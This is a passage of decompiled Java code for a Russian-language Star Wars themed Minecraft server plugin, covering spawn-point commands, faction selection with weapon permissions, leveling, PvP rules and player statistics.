  610. Main.instance.getConfig().set("hoth.sith.world", (Object)p.getLocation().getWorld().getName());
  611. Main.instance.getConfig().set("hoth.sith.x", (Object)p.getLocation().getX());
  612. Main.instance.getConfig().set("hoth.sith.y", (Object)(p.getLocation().getY() + 1.0));
  613. Main.instance.getConfig().set("hoth.sith.z", (Object)p.getLocation().getZ());
  614. Main.instance.saveConfig();
  615. Main.instance.reloadConfig();
  616. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  617. }
  618. if (a[0].equalsIgnoreCase("setboss10sith")) {
  619. Main.instance.getConfig().set("10l.sith.world", (Object)p.getLocation().getWorld().getName());
  620. Main.instance.getConfig().set("10l.sith.x", (Object)p.getLocation().getX());
  621. Main.instance.getConfig().set("10l.sith.y", (Object)(p.getLocation().getY() + 1.0));
  622. Main.instance.getConfig().set("10l.sith.z", (Object)p.getLocation().getZ());
  623. Main.instance.saveConfig();
  624. Main.instance.reloadConfig();
  625. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  626. }
  627. if (a[0].equalsIgnoreCase("setboss10jedi")) {
  628. Main.instance.getConfig().set("10l.jedi.world", (Object)p.getLocation().getWorld().getName());
  629. Main.instance.getConfig().set("10l.jedi.x", (Object)p.getLocation().getX());
  630. Main.instance.getConfig().set("10l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  631. Main.instance.getConfig().set("10l.jedi.z", (Object)p.getLocation().getZ());
  632. Main.instance.saveConfig();
  633. Main.instance.reloadConfig();
  634. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  635. }
  636. if (a[0].equalsIgnoreCase("setboss15sith")) {
  637. Main.instance.getConfig().set("15l.sith.world", (Object)p.getLocation().getWorld().getName());
  638. Main.instance.getConfig().set("15l.sith.x", (Object)p.getLocation().getX());
  639. Main.instance.getConfig().set("15l.sith.y", (Object)(p.getLocation().getY() + 1.0));
  640. Main.instance.getConfig().set("15l.sith.z", (Object)p.getLocation().getZ());
  641. Main.instance.saveConfig();
  642. Main.instance.reloadConfig();
  643. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  644. }
  645. if (a[0].equalsIgnoreCase("setboss15jedi")) {
  646. Main.instance.getConfig().set("15l.jedi.world", (Object)p.getLocation().getWorld().getName());
  647. Main.instance.getConfig().set("15l.jedi.x", (Object)p.getLocation().getX());
  648. Main.instance.getConfig().set("15l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  649. Main.instance.getConfig().set("15l.jedi.z", (Object)p.getLocation().getZ());
  650. Main.instance.saveConfig();
  651. Main.instance.reloadConfig();
  652. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  653. }
  654. if (a[0].equalsIgnoreCase("setboss20sith")) {
  655. Main.instance.getConfig().set("20l.sith.world", (Object)p.getLocation().getWorld().getName());
  656. Main.instance.getConfig().set("20l.sith.x", (Object)p.getLocation().getX());
  657. Main.instance.getConfig().set("20l.sith.y", (Object)(p.getLocation().getY() + 1.0));
  658. Main.instance.getConfig().set("20l.sith.z", (Object)p.getLocation().getZ());
  659. Main.instance.saveConfig();
  660. Main.instance.reloadConfig();
  661. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  662. }
  663. if (a[0].equalsIgnoreCase("setboss20jedi")) {
  664. Main.instance.getConfig().set("20l.jedi.world", (Object)p.getLocation().getWorld().getName());
  665. Main.instance.getConfig().set("20l.jedi.x", (Object)p.getLocation().getX());
  666. Main.instance.getConfig().set("20l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  667. Main.instance.getConfig().set("20l.jedi.z", (Object)p.getLocation().getZ());
  668. Main.instance.saveConfig();
  669. Main.instance.reloadConfig();
  670. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  671. }
  672. if (a[0].equalsIgnoreCase("setboss25sith")) {
  673. Main.instance.getConfig().set("25l.sith.world", (Object)p.getLocation().getWorld().getName());
  674. Main.instance.getConfig().set("25l.sith.x", (Object)p.getLocation().getX());
  675. Main.instance.getConfig().set("25l.sith.y", (Object)(p.getLocation().getY() + 1.0));
  676. Main.instance.getConfig().set("25l.sith.z", (Object)p.getLocation().getZ());
  677. Main.instance.saveConfig();
  678. Main.instance.reloadConfig();
  679. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  680. }
  681. if (a[0].equalsIgnoreCase("setboss25jedi")) {
  682. Main.instance.getConfig().set("25l.jedi.world", (Object)p.getLocation().getWorld().getName());
  683. Main.instance.getConfig().set("25l.jedi.x", (Object)p.getLocation().getX());
  684. Main.instance.getConfig().set("25l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  685. Main.instance.getConfig().set("25l.jedi.z", (Object)p.getLocation().getZ());
  686. Main.instance.saveConfig();
  687. Main.instance.reloadConfig();
  688. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  689. }
  690. if (a[0].equalsIgnoreCase("setboss28sith")) {
  691. Main.instance.getConfig().set("28l.sith.world", (Object)p.getLocation().getWorld().getName());
  692. Main.instance.getConfig().set("28l.sith.x", (Object)p.getLocation().getX());
  693. Main.instance.getConfig().set("28l.sith.y", (Object)(p.getLocation().getY() + 1.0));
  694. Main.instance.getConfig().set("28l.sith.z", (Object)p.getLocation().getZ());
  695. Main.instance.saveConfig();
  696. Main.instance.reloadConfig();
  697. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  698. }
  699. if (a[0].equalsIgnoreCase("setboss28jedi")) {
  700. Main.instance.getConfig().set("28l.jedi.world", (Object)p.getLocation().getWorld().getName());
  701. Main.instance.getConfig().set("28l.jedi.x", (Object)p.getLocation().getX());
  702. Main.instance.getConfig().set("28l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  703. Main.instance.getConfig().set("28l.jedi.z", (Object)p.getLocation().getZ());
  704. Main.instance.saveConfig();
  705. Main.instance.reloadConfig();
  706. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  707. }
  708. if (a[0].equalsIgnoreCase("setdungadsith")) {
  709. Main.instance.getConfig().set("ad.sith.world", (Object)p.getLocation().getWorld().getName());
  710. Main.instance.getConfig().set("ad.sith.x", (Object)p.getLocation().getX());
  711. Main.instance.getConfig().set("ad.sith.y", (Object)(p.getLocation().getY() + 1.0));
  712. Main.instance.getConfig().set("ad.sith.z", (Object)p.getLocation().getZ());
  713. Main.instance.saveConfig();
  714. Main.instance.reloadConfig();
  715. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
  716. }
  717. if (a[0].equalsIgnoreCase("setdungadjedi")) {
  718. Main.instance.getConfig().set("ad.jedi.world", (Object)p.getLocation().getWorld().getName());
  719. Main.instance.getConfig().set("ad.jedi.x", (Object)p.getLocation().getX());
  720. Main.instance.getConfig().set("ad.jedi.y", (Object)(p.getLocation().getY() + 1.0));
  721. Main.instance.getConfig().set("ad.jedi.z", (Object)p.getLocation().getZ());
  722. Main.instance.saveConfig();
  723. Main.instance.reloadConfig();
  724. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
  725. }
  726. }
  727. }
  728. return true;
  729. }
  730.  
  731. @EventHandler
  732. public void onInventoryClick(final InventoryClickEvent e) {
  733. if (e.getInventory() != null && e.getInventory().getName().equalsIgnoreCase(ChatColor.GREEN + "#levelup")) {
  734. final Player p = (Player)e.getWhoClicked();
  735. e.setCancelled(true);
  736. if (e.getCurrentItem() == null) {
  737. return;
  738. }
  739. if (e.getCurrentItem().getType().equals((Object)Material.EXP_BOTTLE)) {
  740. if (Main.econ.getBalance((OfflinePlayer)p) >= Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".price")) {
  741. if (Levels.kills.get(p.getName()) >= Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills")) {
  742. Main.econ.withdrawPlayer((OfflinePlayer)p, (double)Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".price"));
  743. Levels.levels.put(p.getName(), getLevel(p) + 1);
  744. p.setMaxHealth((double)(16 + getLevel(p) * 1));
  745. JediScoreBoard.updateScoreboard(p);
  746. p.closeInventory();
  747. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&2\u0412\u042b \u0423\u0421\u041f\u0415\u0428\u041d\u041e \u041f\u041e\u0412\u042b\u0421\u0418\u041b\u0418 \u0421\u0412\u041e\u0419 \u0423\u0420\u041e\u0412\u0415\u041d\u042c"));
  748. }
  749. }
  750. else {
  751. p.sendMessage(new StringBuilder().append(ChatColor.RED).append(ChatColor.DARK_RED).append("\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0438\u0439\u0441\u0442\u0432!").toString());
  752. p.closeInventory();
  753. }
  754. }
  755. else {
  756. p.sendMessage(new StringBuilder().append(ChatColor.RED).append(ChatColor.DARK_RED).append("\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0435\u043d\u0435\u0433!").toString());
  757. p.closeInventory();
  758. }
  759. }
  760. if (e.getInventory() != null && e.getInventory().getName().equalsIgnoreCase(ChatColor.GREEN + "#sidejoin")) {
  761. final Player p = (Player)e.getWhoClicked();
  762. e.setCancelled(true);
  763. if (e.getCurrentItem() == null) {
  764. return;
  765. }
  766. if (e.getCurrentItem().getType().equals((Object)Material.MAGMA_CREAM)) {
  767. Levels.sides.put(p.getName(), "Jedi");
  768. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)"Jedi");
  769. Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
  770. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&a\u0412\u042b \u0417\u0410\u0428\u041b\u0418 \u0417\u0410 &3\u0414\u0416\u0415\u0414\u0410\u0415\u0412"));
  771. JediScoreBoard.updateScoreboard(p);
  772. p.closeInventory();
  773. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.OTK");
  774. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.TEL");
  775. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS1");
  776. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS2");
  777. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS3");
  778. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS4");
  779. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS5");
  780. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA1J");
  781. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA2J");
  782. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA3J");
  783. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA4J");
  784. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA5J");
  785. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.ZV");
  786. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LIG");
  787. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS1");
  788. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS2");
  789. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS3");
  790. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS4");
  791. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS5");
  792. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA1S");
  793. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA2S");
  794. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA3S");
  795. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA4S");
  796. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA5S");
  797. }
  798. if (e.getCurrentItem().getType().equals((Object)Material.BONE)) {
  799. Levels.sides.put(p.getName(), "Sith");
  800. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)"Sith");
  801. Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
  802. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&a\u0412\u042b \u0417\u0410\u0428\u041b\u0418 \u0417\u0410 &4\u0421\u0418\u0422\u0425\u041e\u0412"));
  803. JediScoreBoard.updateScoreboard(p);
  804. p.closeInventory();
  805. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.ZV");
  806. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LIG");
  807. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS1");
  808. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS2");
  809. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS3");
  810. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS4");
  811. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS5");
  812. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA1S");
  813. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA2S");
  814. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA3S");
  815. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA4S");
  816. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA5S");
  817. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.OTK");
  818. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.TEL");
  819. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS1");
  820. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS2");
  821. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS3");
  822. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS4");
  823. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS5");
  824. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA1J");
  825. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA2J");
  826. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA3J");
  827. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA4J");
  828. Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA5J");
  829. }
  830. }
  831. }
  832.  
  833. @EventHandler
  834. public void onJoin(final PlayerJoinEvent e) {
  835. final Player p = e.getPlayer();
  836. if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".level")) {
  837. Levels.levels.put(p.getName(), 1);
  838. }
  839. else {
  840. Levels.levels.put(p.getName(), Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".level"));
  841. }
  842. if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".kills")) {
  843. Levels.kills.put(p.getName(), 0);
  844. }
  845. else {
  846. Levels.kills.put(p.getName(), Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".kills"));
  847. }
  848. if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".deaths")) {
  849. Levels.deaths.put(p.getName(), 0);
  850. }
  851. else {
  852. Levels.deaths.put(p.getName(), Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".deaths"));
  853. }
  854. if (Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".side")) {
  855. Levels.sides.put(p.getName(), Main.instance.levelsConfig.getString(String.valueOf(String.valueOf(p.getName())) + ".side"));
  856. }
  857. p.setMaxHealth((double)(16 + getLevel(p) * 1));
  858. }
  859.  
  860. @EventHandler
  861. public void onQuit(final PlayerQuitEvent e) {
  862. final Player p = e.getPlayer();
  863. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".level", (Object)Levels.levels.get(p.getName()));
  864. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".kills", (Object)Levels.kills.get(p.getName()));
  865. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".deaths", (Object)Levels.deaths.get(p.getName()));
  866. if (Levels.sides.containsKey(p.getName())) {
  867. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)Levels.sides.get(p.getName()));
  868. }
  869. Levels.levels.remove(p.getName());
  870. Levels.kills.remove(p.getName());
  871. Levels.deaths.remove(p.getName());
  872. Levels.sides.remove(p.getName());
  873. Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
  874. }
  875.  
  876. @EventHandler
  877. public void onPlayerChat(final AsyncPlayerChatEvent e) {
  878. final Player p = e.getPlayer();
  879. e.setFormat(e.getFormat().replace("[level]", String.valueOf(getLevel(p))));
  880. final String playerSide = getSide(p);
  881. if (playerSide.equalsIgnoreCase("Jedi")) {
  882. e.setFormat(e.getFormat().replace("[side]", ChatColor.translateAlternateColorCodes('&', "&3\u0414\u0436\u0435\u0434\u0430\u0439")));
  883. }
  884. else if (playerSide.equalsIgnoreCase("Sith")) {
  885. e.setFormat(e.getFormat().replace("[side]", ChatColor.translateAlternateColorCodes('&', "&4\u0421\u0438\u0442\u0445")));
  886. }
  887. else {
  888. e.setFormat(e.getFormat().replace("[side]", ChatColor.translateAlternateColorCodes('&', "&7\u0410\u043b\u044c\u044f\u043d\u0441")));
  889. }
  890. if (e.getMessage().startsWith("@") && !getSide(p).equals("")) {
  891. for (final Player player : Bukkit.getOnlinePlayers()) {
  892. if (!getSide(player).equals(getSide(p)) && !player.hasPermission("jc.admin")) {
  893. e.getRecipients().remove(player);
  894. }
  895. else {
  896. e.setMessage(ChatColor.GREEN + e.getMessage().replaceFirst("@", ""));
  897. }
  898. }
  899. }
  900. }
  901.  
  902. @EventHandler
  903. public void onAttack(final EntityDamageByEntityEvent e) {
  904. if (e.getEntity() instanceof Player && e.getDamager() instanceof Player) {
  905. final Player damaged = (Player)e.getEntity();
  906. final Player damager = (Player)e.getDamager();
  907. if (getSide(damager).equalsIgnoreCase(getSide(damaged))) {
  908. e.setCancelled(true);
  909. }
  910. if (getLevel(damager) < 4) {
  911. damager.sendMessage(ChatColor.RED + "\u0427\u0442\u043e\u0431 \u0443\u0434\u0430\u0440\u0438\u0442\u044c \u0438\u0433\u0440\u043e\u043a\u0430 \u0435\u043c\u0443 \u043d\u0443\u0436\u0435\u043d 5 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
  912. e.setCancelled(true);
  913. }
  914. }
  915. if (e.getEntity() instanceof Player && e.getDamager() instanceof Player) {
  916. final Player damaged = (Player)e.getEntity();
  917. final Player damager = (Player)e.getDamager();
  918. if (getSide(damager).equalsIgnoreCase(getSide(damaged))) {
  919. e.setCancelled(true);
  920. }
  921. if (getLevel(damaged) < 4) {
  922. damaged.sendMessage(ChatColor.RED + "\u0427\u0442\u043e\u0431 \u0443\u0434\u0430\u0440\u0438\u0442\u044c \u0438\u0433\u0440\u043e\u043a\u0430 \u0432\u0430\u043c \u043d\u0443\u0436\u0435\u043d 5 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
  923. e.setCancelled(true);
  924. }
  925. if (getLevel(damager) < 4) {
  926. damaged.sendMessage(ChatColor.RED + "\u0427\u0442\u043e\u0431 \u0443\u0434\u0430\u0440\u0438\u0442\u044c \u0438\u0433\u0440\u043e\u043a\u0430 \u0435\u043c\u0443 \u043d\u0443\u0436\u0435\u043d 5 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
  927. e.setCancelled(true);
  928. }
  929. }
  930. if (e.getDamager() instanceof Projectile && e.getEntity() instanceof Player) {
  931. final Player damaged = (Player)e.getEntity();
  932. Player damager = null;
  933. final Projectile proj = (Projectile)e.getDamager();
  934. if (proj.getShooter() instanceof Player) {
  935. damager = (Player)proj.getShooter();
  936. }
  937. if (getSide(damager).equalsIgnoreCase(getSide(damaged))) {
  938. e.setCancelled(true);
  939. }
  940. if (getLevel(damaged) < 4) {
  941. e.setCancelled(true);
  942. }
  943. if (getLevel(damager) < 4) {
  944. e.setCancelled(true);
  945. }
  946. }
  947. }
  948.  
  949. @EventHandler
  950. public void onDeath(final PlayerDeathEvent e) {
  951. e.setDeathMessage("");
  952. final Player killed = e.getEntity();
  953. final Player p = e.getEntity().getPlayer();
  954. Levels.deaths.put(killed.getName(), Levels.deaths.get(killed.getName()) + 1);
  955. final int money = getLevel(killed) * 1;
  956. if (killed.getKiller() instanceof Player) {
  957. final Player killer = killed.getKiller();
  958. if (Main.econ.getBalance((OfflinePlayer)killed) >= money) {
  959. killed.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c\u0412\u0430\u0441 \u0443\u0431\u0438\u043b\u0438 \u0438 \u0432\u044b \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 &2" + money + "$"));
  960. killer.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a\u0412\u044b \u0443\u0431\u0438\u043b\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 &2" + money + "$"));
  961. Main.econ.withdrawPlayer((OfflinePlayer)killed, (double)money);
  962. Main.econ.depositPlayer((OfflinePlayer)killer, (double)money);
  963. Levels.kills.put(killer.getName(), Levels.kills.get(killer.getName()) + 1);
  964. Levels.kills.put(killer.getName(), Levels.kills.get(e.getEntity()) + 1);
  965. }
  966. else {
  967. Levels.kills.put(killer.getName(), Levels.kills.get(killer.getName()) + 1);
  968. }
  969. if (killer.hasPermission("jc.vip")) {
  970. Levels.kills.put(killer.getName(), Levels.kills.get(killer.getName()) + 2);
  971. }
  972. else if (Main.econ.getBalance((OfflinePlayer)killed) >= money) {
  973. killed.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c\u0412\u0430\u0441 \u0443\u0431\u0438\u043b\u0438 \u0438 \u0432\u044b \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 &2" + money + "$"));
  974. Main.econ.withdrawPlayer((OfflinePlayer)killed, (double)money);
  975. }
  976. }
  977. }
  978.  
  979. @EventHandler
  980. public void onInteract(final PlayerInteractEvent e) {
  981. if (e.getItem() == null) {
  982. return;
  983. }
  984. if (e.getItem().getType().getMaxDurability() > 16 && !e.getItem().getItemMeta().spigot().isUnbreakable()) {
  985. final ItemStack item = e.getItem();
  986. final ItemMeta meta = item.getItemMeta();
  987. meta.spigot().setUnbreakable(true);
  988. item.setItemMeta(meta);
  989. item.setDurability((short)0);
  990. e.getPlayer().updateInventory();
  991. }
  992. }
  993.  
  994. public static int getLevel(final Player p) {
  995. if (!p.isOnline()) {
  996. final int level = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".level");
  997. return level;
  998. }
  999. final int level = Levels.levels.get(p.getName());
  1000. return level;
  1001. }
  1002.  
  1003. public static int getNextLevel(final Player p) {
  1004. if (!p.isOnline()) {
  1005. final int level = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".level") + 1;
  1006. p.sendMessage("+++");
  1007. return level;
  1008. }
  1009. final int level = Levels.levels.get(p.getName()) + 1;
  1010. return level;
  1011. }
  1012.  
  1013. public static int getKills(final Player p) {
  1014. if (!p.isOnline()) {
  1015. final int killsAmount = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".kills");
  1016. return killsAmount;
  1017. }
  1018. final int killsAmount = Levels.levels.get(p.getName());
  1019. return killsAmount;
  1020. }
